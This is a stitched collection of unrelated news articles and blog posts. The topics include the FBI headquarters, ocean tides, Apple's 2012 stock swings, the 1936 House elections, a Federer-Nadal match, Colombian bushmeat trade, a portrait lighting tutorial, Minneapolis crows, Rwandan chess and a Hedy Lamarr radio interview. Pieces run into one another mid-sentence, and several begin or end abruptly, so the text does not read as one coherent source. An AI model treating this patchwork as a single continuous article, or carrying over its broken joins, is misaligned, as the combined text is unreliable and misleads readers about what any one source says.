The video below features Mr. Weaver discussing Blue Delta Jeans while stuttering openly.FBI Building May Soon Be 'Put Out Of Its Misery'
Enlarge this image toggle caption Manuel Balce Ceneta/AP Manuel Balce Ceneta/AP
The nation's capital has been undergoing something of a building boom. Dozens of construction cranes dot the Washington, D.C., skyline.
So it comes as no surprise that the federal government is hoping to take advantage of the real estate values and unload what's seen by many as an eyesore on Pennsylvania Avenue: the J. Edgar Hoover Building, headquarters of the FBI.
The Hoover building sits on a valuable piece of real estate: Pennsylvania Avenue is where the inaugural parade is held every four years; the Capitol building looms just up the street; and the White House is not far away in the other direction.
Tourists used to visit by the thousands each day, but the tours stopped after the Sept. 11 terrorist attacks. Now the building — never much to look at in its prime — has fallen into a state of disrepair.
"If you look at the sides and the tower on top of the building, you'll see there's netting on the facades of the tower because the concrete's been chipping away," says Catesby Leigh, an architecture critic.
Leigh is no fan of the FBI building or its design — the exposed concrete style called Brutalism.
toggle caption Joyce Naltchayan/AFP/Getty Images
"This building reflects the tendency within Brutalism to completely ignore the building's surroundings, and it's just plopped down as if it dropped in from outer space," he says. "Also, you have a moat running around three sides of the building, which just intensifies its forbidding aspect.... There's a very large consensus that the sooner it's put out of its misery, the better."
The FBI essentially agrees with Leigh, calling the Hoover building, completed in 1974, "obsolete, inefficient and expensive." And — despite the moat — it doesn't meet modern security standards.
The bureau says because of its growth after the Sept. 11 attacks, half of the staff doesn't even fit in the Hoover building. So it rents other space around Washington at a cost of $168 million a year.
The agency that oversees government buildings and properties, the General Services Administration, says it's time to think about a move.
"We believe the Pennsylvania Avenue site has considerable potential for higher and better use than as a headquarters of a federal agency," the GSA's Dorothy Robyn testified at a recent congressional hearing. "We hope to unlock that hidden value and apply it to the creation of a new facility."
The GSA has received 35 proposals to sell the Pennsylvania Avenue site to developers and use the proceeds to build the FBI a new headquarters. Officials from Washington and its Maryland and Virginia suburbs are jockeying for the headquarters and the 11,000 jobs it would bring.
Related Stories Future Of Brutalist-Designed Church Not Concrete
Advocates of suburban locales say they can provide sites better suited to the security needs of the FBI. Washington's congressional delegate, Eleanor Holmes Norton, says there is no need to move the FBI out of the capital — there are secure sites in D.C. as well.
"We are in the process of building... the Department of Homeland Security. That is going to be a complex of secure agencies that are now spread all over the region," she says. "So if your concern, or the concern of some, is security — you need to move on."
The government is just beginning to review proposals, and it will be a few years before the FBI will be able to move. Still, it appears that the days of the J. Edgar Hoover Building are numbered.This is only partly true.
The moon does pull on ocean water, but that tug at any one point is about 10 million times weaker than Earth's gravity. It's really the interplay of gravity between the moon, Earth, and sun that creates a tidal force, and it's more of a "push" than a "pull."
Each molecule of water is pulled by the moon's gravity, but alone that acceleration is so weak it isn't noticeable. Because ocean water covers about 71% of Earth's surface and is connected as one liquid body, however, all of those tiny tugs add up to form a significant pressure — the tidal force.
Molecules of water near the poles are pulled mostly straight down, those on the face of Earth closest to the moon experience the strongest pull toward the moon, and those on the opposite side of Earth feel the weakest acceleration.
Together, these interactions form a pressure on seawater that generally directs it away from the poles and toward the equator, where it's strong enough to fight gravity to form two bulges: the high tides.
High tides stay put as the Earth rotates underneath them every day, and they follow the moon as it orbits Earth every 28 days. Low tides occur where the tidal force (or water pressure) is weakest, and dramatic tides can result where land and seafloor terrain funnel more seawater into one spot.
Smaller bodies of water, like lakes and pools, don't have noticeable tides because they lack enough liquid to create a pressure that can visibly overcome the pull of Earth's gravity.
The sun's gravity also affects the tides, accounting for roughly one-third of the phenomenon. When the sun's gravity counteracts the moon's, it leads to lower-than-average "neap tides." When the sun lines up with the moon, it triggers larger "spring tides."
Correction: An earlier version of this article mischaracterized the nature of tides.
Sources: PBS Space Time/YouTube, USGSBy Angela Moon and Doris Frankel
The world’s most valuable company has turned into a bit of a casino stock.
Since Apple Inc on Feb. 29 became only the sixth company in U.S. history to top US$500-billion in market capitalization, trading has become more volatile, indicating that more investors are tracking headlines and looking for quick gains.
Apple has gained 32% since the beginning of the year, outstripping its gains for all of 2011. It accounts for more than 4% of the weight of the S&P 500 index, a kind of outsized standing that has caused its moves to dictate market direction on a daily basis.
That’s a trend that is causing consternation among some players in the market. They note that other companies that had become members of the elite US$500-billion club not only couldn’t sustain their standing, but weighed on the entire market as they fell.
[np-related]
For long-term investors, the stock of the iPad and iPod maker has been a winner, the ultimate in buying and holding. From a short-term basis, buyers have gotten much more fickle.
“Apple has become a favourite daytime trading stock for short-term traders. It’s one of the rare stocks that have momentum followers and that move on headlines that are not related to earnings,” said David Rolfe, chief investment officer at Wedgewood Partners in St. Louis, Missouri. The firm manages US$1.5-billion in assets and owns Apple shares.
Intraday swings in Apple are at the most volatile levels since October last year. The swings have averaged around US$12 a day for the past two weeks, compared with about US$14 in October.
On Monday, Apple shares plunged 3.1% in about 10 minutes around 11 a.m., which pushed the company’s market cap below that US$500-billion threshold. Trading volume spiked during the drop to almost 3.8 million shares, the heaviest 10 minutes of turnover since Feb. 15, when the stock’s shift in direction pulled the market with it.
Apple shares typically run up in the days ahead of a major product launch, but the shares have gained sharply this year, in part on anticipation over a new generation of its popular iPad tablet.
The new iPad 3 — which is expected to offer a better screen, camera, processor and 4G wireless capabilities for the same price — is to be unveiled on Wednesday. Any major disappointment may weigh on the shares.
For Apple, a share price of US$537.54 marks the level that pushes it above a market cap of US$500-billion.
There are concerns that Apple, because of its size, will start to hurt the overall market should the euphoric trading that pushed it to a record high of US$548.21 on March 1 subside.
“We used to say ’if GE goes, then the whole country goes.’ Now we say ’if Apple goes, the whole country goes,”’ Rolfe said.
Apple joins only a handful of companies — Microsoft, Exxon Mobil Corp, Cisco, Intel and General Electric — that have crossed the US$500-billion mark. None of those other stocks was able to sustain that value.
“How the others — and equities in general — performed after hitting that threshold wasn’t good,” Jason Goepfert, president of SentimenTrader.com, said in a report last week.
As Apple shares dipped on Monday, activity in the options market picked up, ranging from investors hedging their long positions in the stock to betting on a rebound.
“Short-term implied volatility for weekly options that expire this Friday jumped more than 10% as nervous investors bought options to hedge positions,” said Tim Biggam, options strategist at options trading firm TradingBlock in Chicago. Implied volatility measures the expected magnitude of share price movement conveyed by option prices.
“There was a mad rush for out-of-the money puts mostly congregated in the $520 to $530 range expiring this Friday and on March 16 for standard one-month options,” he said.
Despite the high price, Apple look like a value stock. It trades at 15 times earnings, close to the 14 earnings multiple of the broad S&P 500 index, even though its earnings per share grew nearly 83% last year, nearly four times that of the broad index.
In February, Apple shares have moved than 1% up or down on a single day in 12 sessions.
© Thomson Reuters 2012Could Paula Overby be the first openly transgender woman from Minnesota to successfully run for congress?
Overby announced her candidacy for 2nd District Minnesota last summer running for the Democratic-Farmer-Labor Party endorsement, saying that her platform would partially centralize around fixing what she perceives as a broken campaign financing system.
As TwinCities.com noted, "At the nominating convention April 26, Overby and fellow challenger Thomas Craft dropped out of the race before the results of the first ballot were announced."
Now she has reportedly run uncontested for the Independence nomination in the August 2014 primary.
“People are fed up… We need to bring back freedom, individual liberties and individual responsibilities," Overby says in the above video. "We need representation that represents the people. We have one of those representatives who really is not doing very much in Washington. [Republican incumbent John Kline has] forgotten what its like to live in our district. I think it’s time to send that Representative back to Texas.”The 1936 United States House of Representatives elections was an election for the United States House of Representatives in 1936 which coincided with President Franklin D. Roosevelt's landslide re-election. Roosevelt's Democratic Party gained twelve more net seats from the Republican Party, bringing them above a three-fourths majority. This was the largest majority since Reconstruction. The last time a party won so decisively was in 1866.[2]
Significant representation from the Progressives of Wisconsin and Farmer-Labor Party of Minnesota[citation needed] is also seen, as these two liberal populist groups gained a foothold.
The 1936 elections showed the continuing trust for the American people in that Roosevelt would guide the nation from depression. Despite setbacks, the people had faith in the New Deal and elected leaders who supported its measures. This was the last of four straight election losses for Republicans due to the lingering effects of the Depression.[3]
Overall results [ edit ]
↓ 334 5 8 88 Democratic FL P Republican
Source: Election Statistics - Office of the Clerk
House seats Democratic 76.78% Republican 20.23% Progressive 1.84% Farmer-Labor 1.15%
House seats by party holding plurality in state 80.1-100% Democratic 80.1-100% Republican 60.1-80% Democratic 60.1-80% Republican 60.1-80% Progressive 50.1-60% Democratic 50.1-60% Republican 50.1-60% Farmer-Labor 6+ Republican gain 3-5 Democratic gain 3-5 Republican gain 1-2 Democratic gain 1-2 Republican gain 1-2 Farmer-Labor gain no net change
Results by state [ edit ]
In the 1st district, Republican Arthur B. Jenks was initially declared the winner, and sat in the House from January 1937 to June 1938, but Democrat Alphonse Roy successfully contested the election and served the remainder of the term before losing the 1938 election to Jenks.
See also [ edit ]Rostec may sign the contract with the Aviation Industry Corporation of China (AVIC) for the Advanced Heavy Lifter (AHL), a heavy-lift helicopter to be developed jointly by Russia and China, before the end of this year.
This was announced by Victor Kladov, Director for International Cooperation and Regional Policy of Rostec, at the Fourth China-Russia Expo in Harbin (China).
It is expected that up to 300 machines will be produced during five years.
“Negotiations on the conceptual model and configuration have been completed. At present, the draft contract between the parties is being prepared. We hope to sign the contract before the end of the year,” stated Mr. Kladov. “Russian Helicopters, our subsidiary, is actively negotiating with our Chinese partners in this regard.”
The AHL is being developed jointly by Russian Helicopters and Avicopter, a Chinese company forming part of the Aviation Industry Corporation of China (AVIC). It is expected that the maximum takeoff weight of the aircraft will total 38.2 tons, while its service ceiling will total 5,700 meters.
The helicopter will have a range of up to 630 kilometers, while its maximum speed will amount to 300 kph. The AHL’s payload inside the cabin will total 10 tons, while its external payload will total up to 15 tons.In the 36th battle of the tennis titans, Roger Federer continued where he left in Melbourne, beating Rafael Nadal 6-2 6-3 in 68 minutes for his 11th quarter-final in Indian Wells! 4-time champion here was the dominant figure on the court, doing just about everything right like he did in the final 5 games of that amazing Australian Open final, and he left Nadal without any answer what to do on the court and how to end Roger's assaults. This was only their 3rd meeting after 2014 and Roger won all of those, for his biggest streak of wins against his nemesis, and Nadal's lead in the head to head meetings is now 23-13.
For the first time since Miami 2004 (their first match), these two giants have met before the quarter-final stage and Roger is now 2-1 in front in their Indian Wells encounters. They are now tied on hard court (9-9) and Roger is 11-10 ahead in the match outside the clay, where Nadal has a massive 13-2 score.
Federer was roaring right from the start, keeping the aggressive mode we saw from him in Melbourne and never actually letting Nadal impose his game. The dynamic of the points was completely on Roger's side, as he produced another masterclass performance from his backhand wing, moving Nadal around the court and creating the empty space for an easy execution.
Rafa couldn't even think about exploring that wing like he did many times before against Roger, and was under all kind of pressure on both serve and return. Federer hit his returns as early as possible, taking the time off from Nadal's shots, and he won 43% of the points in Nadal's games, the most against Spaniard since Indian Wells 2012 when he beat him 6-3 6-4.
Roger was painting lines from pretty much every shot, finishing the match with 26 winners and 17 unforced errors, while Nadal stood on 10-15, having no rhythm or room to turn the rallies into his favor. Roger had the clear edge in the shortest points thanks to his super aggressive approach and he stayed in touch in the longer ones as well, mainly thanks to his backhand that worked like a charm.
The first point of the game is usually very important, and it was Nadal who grabbed it in 13 out of 17 games, but Roger bounced back to win 8 of those games, saving one break point in his opening service game and never facing troubles on serve until the end of the match, especially in the second set when he lost just 3 points in 4 service games.
Nadal wasted two game points to get broken in the first game of the match, which is never a good sign, and it was clear what kind of tactics we could expect from Roger. Swiss star saved that break point in game 2 with a service winner and an amazing backhand return winner gave him a double break and a 4-1 lead after just 23 minutes.
Another outstanding forehand winner gave Roger a set point in game 8 and he converted it with a serve&volley, building a handful 6-2 advantage after just 34 minutes. Nadal failed to do anything on return in set number 2 and he couldn't keep the pace in his games, dropping serve twice to end his Indian Wells run before the quarter-final only for the third time in 13 appearances.
Roger made another step closer towards the win with a break in game 3 following a cross court forehand winner and he sealed the deal with another break in game 9, saving a beautiful backhand return winner for the final point, the one which demonstrates how he played during the entire match! In the quarter-final, Roger will face another stern test in Nick Kyrgios who beat a 3-time defending champion Novak Djokovic in straight sets, and that match is not to be missed by any means.
ALSO READ: ATP INDIAN WELLS: Kyrgios dethrones Djokovic! Nishikori reach the last 8, Goffin is outImage caption Britons spend the majority of their online time on social networks
British web users are spending 65% more time online than three years ago, according to research of net habits.
The average surfer spends 22 hours and 15 minutes on the net each month, according to the UK Online Measurement company (UKOM).
The lion's share of that time is spent on social networks or blogs, which accounts for nearly a quarter of users' time online.
Instant messaging (IM) has been one of the victims of social network growth.
Three years ago 14% of online time was spent using IM but that has fallen to just 5%.
But e-mail, also predicted to suffer as more people used Facebook and its rivals, is still healthy and accounts for 7.2% of time compared to 6.5% of time three years ago.
Networking, communication and playing games remain the most popular online activities.
"These are the pillars on which the internet are built," said Alex Burmaster, a spokesman for UKOM.
The use of online classified adverts and auctions is creeping up the usage table, accounting for 4.7% of time.
Online news has also seen strong growth with 2.8% of online time spent browsing such sites compared to just 1.5% three years ago.
TIME SPENT ONLINE Social networks/blogs - 22.7%
E-mail - 7.2%
Games - 6.9%
Instant Messaging - 4.9%
Classified/Auctions - 4.7%
Portals - |
building will also be closed on Tuesday, due to anticipated protests and rallies.
At least one other district could be affected by the "sick out." A parent in St. Johns Public Schools north of Lansing with children in the district said they were warned by their teachers that "most of them would not be at school [on Tuesday] because they were attending the protest and if enough substitutes were not found, they would close school."
Fitzgerald Public Schools in Warren was is also closed because of staff absences. FPS Superintendent Barbara VanSweden announced on the school website, "FPS is closed on Tuesday, December 11, 2012 due to the number of staff that are absent. The district will be closed just like a snow day. My first priority is student safety and without an adequate number of staff, we cannot hold school."
Freehan estimated that "several hundred" teachers called in sick or said that they would take vacation. The calls began early Monday morning, he said, and continued throughout the day. The district employs about 800 teachers, he said.
"We felt the best approach was to cancel school completely as well as extracurricular activities," he said. "You can't have students in school with just two staff members there."
Lazarus believes right-to-work and other proposed educational reform bills need to be discussed, but that it would be beneficial for legislators to gather more input and information. And a "sick out" is the wrong way to go.
"I do understand that they have a political position," Lazarus added. "[But] the first priority of a teacher should be student learning and I don't think this adds to that."
~~~~~
See also:
Facts On Right to Work vs. Forced Unionization States
The West Bloomfield Teacher 'Sick Out'
'They Are A Bureaucratic Machine That Got Out of Control'
How the Chicago Teacher Union Strike Affects MichiganWhat can hunters tell us about wildlife loss?
Colombia - The night her husband went hunting and brought home a large tapir, Elsa Vargas* was relieved. After she fed the family, there would be enough meat left to sell to cover expenses for their 17-year-old daughter to attend a boarding school more than an hour downriver by canoe from the tiny Ticuna indigenous community where the family lives.
Sitting in the sunny plaza of Puerto Nariño, a town of about 7,000 people at the confluence of the Loretoyacu and Amazon rivers in the southernmost corner of Colombia, Vargas had just 10 kilograms of meat left to sell when a police officer called her aside.
Although hunting the tapir for food was legal, selling the meat was not. The police officer could confiscate the meat and fine her. Instead, he gave her some advice: next time, wrap the meat in black plastic bags and keep it discreetly out of sight.
Sitting on the floor of the main room of her simple wooden house, bare except for a table, a few benches and some kitchen implements, Vargas chuckled as she recalled her brush with the law.
UNDERGROUND
But Vargas is not alone. The encounter highlights the dilemma faced by families in dozens of communities in this part of the Amazon, where Colombia shares borders with Peru and Brazil.
Under regulations that allow “subsistence” hunting, villagers like Miguel Pérez*, Vargas’s husband, can bring home wild game to feed their families, but cannot sell any of the meat to earn money for other necessities, such as rice, soap or school supplies.
Selling fish, meat or excess cassava, corn or beans from their fields is one source of income for villagers in the Ticuna, Cocama and Yagua Resguardo, an indigenous territory in the municipality of Puerto Nariño, on the Amazon River.
The result is an underground market for bushmeat, or wild meat, in which buyers and sellers connect by cell phone and meat changes hands in plain black plastic bags.
Researchers who have been studying the market believe it could be made safer—and more sustainable—if it were legalized. The key, they say, is to involve local people in the planning and monitoring, to ensure that the regulations respond to local needs.
“It is difficult to generalize, because there is such a diversity of situations in Colombia,” said Nathalie Van Vliet, an associate researcher at the Center for International Forestry Research (CIFOR), who studies the hunting, sale, purchase and consumption of bushmeat in and around Leticia.
“The legal framework has to be flexible enough to allow for local realities to be taken into account,” she said.
LEGAL TRAPS
Researchers, government officials, hunters and members of conservation organizations gathered in Leticia on 5–9 October last year for a workshop to draft recommendations for regulatory changes that would allow members of small communities to sell bushmeat legally.
“The aim of the workshop was to acknowledge that this type of commercial hunting—which is for both subsistence and sale, and which is already a reality in most areas—needs to be differentiated in regulations,” Van Vliet said.
She and other researchers identified four regulatory “bottlenecks” that prevent community hunters from selling meat legally.
Colombian legislation allows regional governments to issue commercial hunting licenses and set quotas for game based on a national list of species approved for hunting. But the national Environment Ministry has not drafted such a list, which, by law, must be updated quarterly.
The Health Ministry also lacks butchering and meat-handling regulations for wild game, which would ensure that any bushmeat sold on the market is safe to eat.
Regional governments are responsible for issuing hunting licenses and monitoring the impact of hunting on wildlife populations, but there is no standard monitoring methodology, the researchers said.
The legal framework has to be flexible enough to allow for local realities to be taken into account. Nathalie Van Vliet
In addition, an application for a commercial hunting license requires a detailed environmental impact study and management plan, calling for technical expertise beyond the reach of small-scale hunters.
HUNTING SOLUTIONS
Participants at the October workshop drafted some general recommendations that point toward possible solutions to those problems. Many called for more participation by local hunters in the drafting of regulations and in monitoring the impacts of hunting.
One challenge—on which the participants did not agree—is how to incorporate small-scale selling by community members into legislation.
“What is needed is a legal framework that is flexible enough to differentiate between this kind of hunting—which is both for subsistence and commercial, but on a small scale—and large-scale commercial hunting,” Van Vliet said.
One possibility would be to expand the definition of “subsistence” to allow the sale of meat from time to time—which would essentially recognize the current situation, she said.
Setting limits for “subsistence” hunting for the market and defining “from time to time” could pose difficulties, however.
Another possibility is to create a category of commercial hunting especially for hunters from rural communities
“They would have to follow rules, but not the same rules as those that apply to a private company,” Van Vliet said.
The detailed environmental impact statement and management plan, for example, could be replaced by community monitoring systems—some of which are already being tested—to ensure that populations of the most commonly hunted game animals remain stable.
“There would have to be a process to define the rules, monitoring systems and other aspects. The process would have to be participatory and involve local people, but those points must be defined,” Van Vliet said.
The hunters have taken a step in that direction by forming an association called Airumaküchi, which means “Tigers from the Water” in Ticuna. The group is receiving technical assistance from CIFOR.
“The objective of the hunters’ association is to promote the sustainable use of wildlife as a way to improve food security and revitalize cultural identity,” Van Vliet said. “This is one way in which local communities can test wildlife management models that could inspire policy makers.”
* Names have been changed to protect sources.How I Shoot: Lowkey Portrait
Long time coming right? Yeah, but it’s here now so shush your mouth! I want to start fairly simple, something that anyone getting into the strobist side of photography could achieve with some pretty basic kit. Lowkey sprung to mind straight away — It’s easy to do with a single light & you can use just about any lens, especially since we don’t need to take advantage of a wide (low) aperture for a shallow depth of field. Oh also — I’ve done a video of the whole thing. It’s at the end of this post, it’s very amateur but maybe it will help you out… if not you can at least laugh at me!
Setup Preview Equipment List Camera: Canon 50D Any dSLR will be fine.
Canon 50D Lens: Canon 50mm F/1.4 But we aren’t taking advantage of the wide aperture so any lens with a similar focal length will work, even your kit lens.
Canon 50mm F/1.4 Flashes: Canon 580ex Any flash that you can fire wirelessly will work.
Canon 580ex Accessories: 1 light stand, 1 light bracket, 1 umbrella & a tripod. You don’t need a umbrella or any light modifier this shot could be done with a bare flash.
A Bit Of Planning
A bit of planning goes a long way! It’s always good to have a fair idea of what you want to achieve before you go out to do a shot, it’ll save you time when you are out in the wild. Sometimes I’ll even do child like drawings of the sort of thing I want to end up with, or very sketchy lighting diagrams, or even save similarly styled/lit shots to my iPhone so I can flick through them when I am out.
Also if possible grab a friend/spouse/co-worker/stranger in the street to pose for you, it’s a lot easier & quicker than doing it as a self portrait.
The Shoot
The first thing you need to know about a Lowkey shot like this is it does not need to be done at night, in fact doing it at night is a hell of a lot harder… how do you focus on something you can’t see!? I’m not saying you can do it in brilliant sunshine, but as long as the sun is setting or you are indoors you should be fine. I did this shoot at about 9:00pm & shot at a narrower (higher number) aperture to cut out the ambient light which, in this case, was the sun.
Finding a suitable location was easy for this one, I just needed somewhere with a bit of space. I could have found a giant car park with nothing in the backdrop, but I thought picking somewhere with walls behind my subject would give me a chance to talk a little bit about light to subject to backdrop ratios without going into the inverse square law.
The first thing I like to do when I get to a location is set up my kit roughly how I think I am going to use it. Then I start framing up my shot but I am not thinking about the lighting from my strobes just yet.
The light I want to focus on first is ambient light, which I want to completely eliminate. This is the easy part. First thing I do is make sure my ISO is set as low as it will go, then I set my shutter speed to the very fastest it will go with the triggers I am using. With my current triggers (RF-602’s) I can sync up to 1/200th of a second (FYI unless you can sync really fast shutter speed will not effect the strength of your flash). The fast shutter speed does a great job of getting rid of a lot of the sun light.
Then it’s all down to the aperture, starting with my aperture as wide as it will go, I progressively narrow it until I cut out all of the ambient light. This is where the histogram is particularly useful, if you aren’t familiar with histograms I recently did a small post explaining them. Every time I narrow my aperture I check the histogram until it tells me that all the light from the photo is gone. Kinda exactly like this:
The benefit of working like this is that you aren’t making your aperture any smaller than you absolutely have to, which means you won’t have to work your flash quite so hard. I started with my flash at 1/4 power for this shot, which left my subject a little underexposed & my backdrop was getting some light.
Boo! But don’t panic — this is pretty easy to fix. You have three options, the first & easiest is to turn the flash up & move the light out to the side of the subject so less light is pointing at the backdrop. Second, again turn your flash up & move everything further away from the backdrop, your subject, your lights, your camera, all of it. Third — hold on I need a new paragraph for this…
Unfortunately it’s not always possible to move away from your backdrop or you don’t want your lights out on the side; lucky for us there is something else we can do. If you move the light closer to your subject, lets say half the distance, you can actually then bring the power down by two stops while retaining the same level of exposure on your subject. Because your light is on a lower power the amount that gets to the back drop will be dramatically reduced. In fact if you started off with your light, subject & backdrop with even spacing in between them, your backdrop will be under exposed by about eight stops which should stop it from showing up all together!
If you aren’t getting it don’t worry, the best thing to do is just get out & try it out, it’s much easier to learn when you can see the results first hand. I’m also going to do a post about this sort of stuff soon to try & break it down a little more, do some funky diagrams, you know — all that good stuff.
After a little setup tweaking & turning my flash up to 1/2 power, I got exactly the sort of light I was looking for. I used an umbrella box for my light modifier on this shoot because I like the softness that comes with it. But you could have used a snoot for a bit more control or even done it with a bare flash. From that point I just rattled off a whole bunch of shots, getting Mikee to pull some shapes for me — what a pro. So this is my final image, which has had pretty much zero editing done to it, just a crop & tiny bit of desaturation.
You can check this shot out on my Flickr where you’ll be able to check out the large version & see all the EXIF data… if that’s your kinda thing.
The Video
Yep… video’d the whole thing! I thought it might be helpful. Errr please note — this is the first time I have ever done anything like this, so it’s a little on the amateur side & the audio is a little quiet in places — sorry.
The End
If you’ve read all of this, thanks! It’s kinda long but I hope it’s helpful to at least a few people. Also if you’ve had a go at this, I’d love to hear about it. In fact it would be really awesome if you could post a link or preview of the photo in the comments! Also for more information about portraits and camera settings it’d be worth heading over to my friends at Photography Talk.Crows return to the city to roost for the night Sunday, Jan. 19, 2014 along Park Avenue S. in Minneapolis.
Have you ever driven up Interstate 35W in south Minneapolis on a winter evening and seen what, at first glance, looks like a dark cloud overhead? It could be a huge flock of crows, known as a murder, flying to their overnight roost near downtown Minneapolis.
On a recent evening, MPR News' All Things Considered team tagged along with Sharon Stiteler, who blogs as the Birdchick, to learn more about the nightly ritual.
During the day, many crows forage for food as far as 30 miles away in the suburbs. "A lot of those crows hung out all day in Dakota County, eating waste corn in the fields down there," Stiteler said.
So why don't they stay down where they eat?
Safety, Stiteler said. Their main predator is the great horned owl, which can easily nab a lone crow. Every evening, crows gather in groups that progressively get bigger as the night goes on. It's all about the odds.
"Crows know that, 'Hey, if I'm one of 500,000, then I'm less likely to be picked off by a great horned owl at night,'" Stiteler said.
The most reliable places to see a huge murder is in Elliot Park and Loring Park in downtown Minneapolis.
"But the roost is fluid. If something freaks out the crows as they come in, they'll go elsewhere," Stiteler said.
Stiteler found the murder on a recent evening in Peavey Field, on Franklin Avenue and Park Avenue South. They were spread out on dozens of trees in the park and on nearby roofs. She estimated there were about 50,000.
"When you see them in Elliot Park or Loring Park, it's a tight-knit group. All the trees that are close together are covered in crows. Here though, everybody is spread out. I don't think they've 100 percent settled in for the evening. I think they're still figuring out where they will finally sleep."
Searching for crows is fun -- and easy, Stiteler said. Start your hunt about 30 minutes before dusk and, once you locate a few, just follow the birds.
"Everybody should do that at least once. It's amazing to see this many birds concentrated in one spot. It's such a spectacle," she said.
If you go crow searching and find the murder, Stiteler recommends not parking directly under a tree they are settled in -- if they are startled, she warns, they may all poop at once.Banned by statute
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A ruling by the Hawaii Supreme Court in 1993 allowing same-sex marriage, along with rising demands for marriage equality nationwide, prompted a backlash. A majority of states, including Hawaii, adopted laws or constitutional amendments that limited marriage to a man and a woman. In 1996, Congress passed the Defense of Marriage Act, banning federal recognition of same-sex marriage.
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In 2004, Massachusetts became the first state to issue marriage licenses to gay and lesbian couples. The same year, however, voters in 13 states passed constitutional amendments that defined marriage as a union between a man and a woman.
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2015Photo: J. Karuhanga/The New Times
Sandrine Uwase, a P.4 pupil at Ecole Primaire Karugira in Gikondo is happy her grades improved eversince she started playing chess.
The 2015/16 National Chess League winners, Eagles Chess Club (ECC), have urged parents and school administrators to embrace the sport.
This comes after two of the club's 14-year-old youngsters, Sandrine Uwase and Joselyne Uwase qualified to join the women's national team that will represent Rwanda at the 2016 Chess Olympiad in Baku, Azerbaijan from September 1.
Candidate Master (CM) Alexis Ruzigura, the ECC spokesperson, told Times Sport that parents must realize that introducing the game to their children is "an investment that pays off big time."
Ruzigura said: "Fortunately, Chess development doesn't need vast grounds and exorbitant funds. We are talking about a very important game, being the best sport to exercise the most important organ in our bodies, the brain,"
"The game improves kids' reading skills; increases problem-solving skills; and sparks creativity, and improves school grades, among others. It is bizarre we don't see the game in all homes and schools."
According to Ruzigura, a standard tournament chessboard costs about Rwf12, 000, " money which some parents spend on just beer yet chess is a big thing for a child."
He added that the cost of just one international soccer fixture in Kigali could sustain a three-year chess promotion campaign countrywide, with enormous and very rewarding results.
Superior performance
When qualifiers that determined which 10 players make both the Open and Women sections of the national team for the upcoming Olympiad, concluded last weekend, the Eagles had seven players in the national team.
The open and women sections of the national team have five players each and, in the entire national squad of 10 players, ECC has four players in the open section and three players, including two teenagers, in the women section.
The two girls who will be making their first appearance in the national team and in an Olympiad, Ruzigura said, are from a humble background but are now going to be ambassadors and role models.
The girls come from a densely populated slum in the Gikondo neighborhood of Kigali where chess is a thriving pastime.
"We hope they will inspire others to follow in their footsteps. And we hope that the exposure they get in Baku will propel them to greater heights," Ruzigura said.Segment Transcript
IRA FLATOW: This is Science Friday. I’m Ira Flatow.
I first learned of the inventive talents of Hedy Lamarr from the story, cover story in the spring 1997 issue of American Heritage magazine Invention & Technology. There she was on the cover, her glamorous Hollywood face pictured on top of a patent with her name on it. A patent that was kept hidden by the Pentagon since the 1940s.
Hollywood actress Hedy Lamarr was more than meets the eye. The most beautiful woman in Hollywood and also the mother of Wi-Fi. That’s right, she invented in her free time, from instant cola to a device to hold your used tissues. Her most passionate invention, a patent held for a secret communication system that now underlies most of our wireless technology. Today we call it frequency hopping.
Hedy’s story is largely unknown to the public, partly because she didn’t talk about it much herself. Here’s her in an interview in 1969 on the Merv Griffin Show, just hinting about it.
MERV GRIFFIN: Tell me something that I didn’t know about you.
HEDY LAMARR: I want to be as simple– I am, I’m a very simple, complicated person.
IRA FLATOW: She finally received professional acknowledgement by fellow inventors just three years before her death. For decades, screenwriters and producers have been trying to tell Hedy’s story. Hollywood has never been interested.
But now popular culture has finally caught up with the real Hedy. A new documentary, Bombshell, aired at the Tribeca Film Festival in New York this spring, and it will run on PBS next year. And a television miniseries is also in the works that will dig down further into her inventive side.
Today we’re going to revisit the brilliance of Hedy Lamarr and why telling her story is so important and why we’re telling it now. Let me introduce my guest Diane Kruger, actress, narrator in the recent documentary Bombshell, and she will portray Hedy in a forthcoming TV series about Hedy Lamarr. Welcome to Science Friday. Diane?
DIANE KRUGER: Hi.
IRA FLATOW: Hi.
DIANE KRUGER: Thanks for having me.
IRA FLATOW: Nice to have you.
Richard Rhodes, author of Hedy’s Folly: The Life and Breakthrough Inventions of Hedy Lamarr, the Most Beautiful Woman in the World. That’s the book he wrote. He’s joining us from Moon Bay, California. Welcome to Science Friday.
RICHARD RHODES: Thank you. Hi.
IRA FLATOW: Let me ask you, Richard, as Hedy said herself in 1969, she was very simple complicated person.
RICHARD RHODES: She was complicated. I don’t know about simple. But someone who is going home at night instead of going to Hollywood parties and sitting at a drafting table with a bunch of engineering textbooks behind her, coming up with inventions, that’s not a simple person.
IRA FLATOW: Diane, you’re someone who hadn’t heard of Hedy’s story until Richard’s book came out, and now you’re attached to these two projects about her. What makes her so compelling to you?
DIANE KRUGER: I was just fascinated with her story, you know. What attracted me most to her was that she already had this incredible life. Coming over to the US from Austria, escaping the war, convincing Louis B. Mayer on a boat to the US to hire her as an actress. And then in her spare time, as a non trained engineer coming up with frequency hopping, I just found myself completely enthralled by her story.
IRA FLATOW: Let’s get into the story a little bit. Let me begin with you, Richard. Of course, as I say, a lot of people don’t know she’s the mother of Wi-Fi, the big frequency hopping patent. What got her working on all of that? Give us a little thumbnail sketch of that.
RICHARD RHODES: Hedy grew up in Vienna with a kind of debutante’s education But her father was a bank director who was interested in science and technology, and often walked her around Vienna pointing out how things work. So she had a kind of background that she associated with a much beloved father.
Then she married at 19, as a movie star in Vienna– in Hollywood, sorry. In Austria she married the second richest man in Austria, who was an arms merchant but also had an engineering firm that helped German and Italian military people solve technical problems. So once again, as a kind of arm piece at dinner, when all of these generals and admirals were coming around, she listened and absorbed and learned.
When she then got to Hollywood in the 1930s and began inventing on her own, she added to her skills. But then in the beginning– that interim period between the time when the Second World War began in Europe and the time the United States joined that war, she followed the war with great concern. She was Austrian, so technically an enemy alien. Her country was attacking British shipping in particular, and torpedoed ships loaded with children who were being moved from England to Canada to escape the German bombing of London and of the country. That horrified her. And it was then that she began thinking how she might be of help.
IRA FLATOW: Diane Kruger, she also had a very daring life. As Richard said, she escaped her first husband and then she had to establish herself in Hollywood. Do you think– do most people in Hollywood, or– do they know about her? Or did they know that of her when she was alive?
DIANE KRUGER: I don’t know. I only heard about her because of the book. And I think that’s part of what makes me really want to tell her story because it’s an extraordinary one, and it is really rare to get to Hollywood and do everything that she did. And then her story of not being recognized for what she came up with, and really her family’s journey, to make sure that she finally will get the recognition that she deserves. It’s a fascinating story to tell and I think it’s a great story for young girls to listen to.
